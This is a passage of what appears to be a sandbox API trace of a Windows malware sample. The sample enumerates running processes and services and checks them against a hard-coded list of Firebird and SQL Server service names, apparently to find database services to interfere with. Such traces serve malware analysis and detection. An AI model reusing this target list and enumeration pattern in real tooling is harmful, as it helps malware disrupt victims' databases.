(lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.196] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.196] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.196] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.196] lstrlenW (lpString="SENS") returned 4 [0177.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.196] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.196] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.196] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.196] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.196] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.196] lstrlenW (lpString="Spooler") returned 7 [0177.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0177.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0177.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0177.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0177.196] lstrlenW (lpString="StateRepository") returned 15 [0177.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.197] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.197] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.197] lstrlenW (lpString="SysMain") returned 7 [0177.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.197] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.197] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.198] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.198] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.198] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.198] lstrlenW (lpString="Themes") returned 6 [0177.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0177.198] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0177.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.198] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0177.198] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0177.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4181fb8 | out: hHeap=0x420000) returned 1 [0177.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544 [0177.217] Process32FirstW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.218] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.219] lstrlenW (lpString="System") returned 6 [0177.219] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.219] lstrlenW (lpString="smss.exe") returned 8 [0177.219] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.220] lstrlenW (lpString="csrss.exe") returned 9 [0177.220] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.221] lstrlenW (lpString="wininit.exe") returned 11 [0177.221] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.221] lstrlenW (lpString="csrss.exe") returned 9 [0177.221] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.222] lstrlenW (lpString="winlogon.exe") returned 12 [0177.222] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.223] lstrlenW (lpString="services.exe") returned 12 [0177.223] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.236] lstrlenW (lpString="lsass.exe") returned 9 [0177.237] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.238] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.238] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.238] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.238] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.239] lstrlenW (lpString="svchost.exe") returned 11 [0177.239] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.240] lstrlenW (lpString="svchost.exe") returned 11 [0177.240] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.240] lstrlenW (lpString="dwm.exe") returned 7 [0177.240] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.241] lstrlenW (lpString="svchost.exe") returned 11 [0177.241] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.242] lstrlenW (lpString="svchost.exe") returned 11 [0177.242] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.243] lstrlenW (lpString="svchost.exe") returned 11 [0177.243] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.243] lstrlenW (lpString="svchost.exe") returned 11 [0177.243] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.244] lstrlenW (lpString="svchost.exe") returned 11 [0177.244] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.245] lstrlenW (lpString="svchost.exe") returned 11 [0177.245] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.246] lstrlenW (lpString="svchost.exe") returned 11 [0177.246] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.246] lstrlenW (lpString="svchost.exe") returned 11 [0177.246] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.247] lstrlenW (lpString="svchost.exe") returned 11 [0177.247] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.248] lstrlenW (lpString="svchost.exe") returned 11 [0177.248] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.248] lstrlenW (lpString="spoolsv.exe") returned 11 [0177.248] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.249] lstrlenW (lpString="svchost.exe") returned 11 [0177.249] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.249] lstrlenW (lpString="audiodg.exe") returned 11 [0177.249] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.250] lstrlenW (lpString="sihost.exe") returned 10 [0177.250] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.251] lstrlenW (lpString="svchost.exe") returned 11 [0177.251] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.251] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.251] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0177.252] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0177.252] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.253] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.253] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.253] lstrlenW (lpString="Memory Compression") returned 18 [0177.253] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.254] lstrlenW (lpString="explorer.exe") returned 12 [0177.254] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.303] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.303] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.304] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.304] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.305] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.305] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.305] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.306] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0177.307] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0177.307] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0177.307] lstrlenW (lpString="consent.exe") returned 11 [0177.307] Process32NextW (in: hSnapshot=0x544, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0177.308] CloseHandle (hObject=0x544) returned 1 [0177.308] Sleep (dwMilliseconds=0x1f4) [0177.821] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e078 [0177.821] EnumServicesStatusExW (in: hSCManager=0x408e078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0177.822] GetLastError () returned 0xea [0177.822] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0177.822] EnumServicesStatusExW (in: hSCManager=0x408e078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0177.823] CloseServiceHandle (hSCObject=0x408e078) returned 1 [0177.823] lstrlenW (lpString="Appinfo") returned 7 [0177.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.823] lstrlenW (lpString="AppXSvc") returned 7 [0177.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0177.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0177.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0177.824] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0177.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0177.824] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.824] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.824] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.824] lstrlenW (lpString="Audiosrv") returned 8 [0177.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0177.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0177.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0177.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0177.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0177.824] lstrlenW (lpString="BFE") returned 3 [0177.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.824] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0177.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0177.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0177.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0177.824] lstrlenW (lpString="CDPSvc") returned 6 [0177.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0177.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0177.825] lstrlenW (lpString="ClickToRunSvc") returned 13 [0177.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0177.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0177.825] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0177.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0177.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0177.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0177.825] lstrlenW (lpString="CryptSvc") returned 8 [0177.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.825] lstrlenW (lpString="DcomLaunch") returned 10 [0177.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.825] lstrlenW 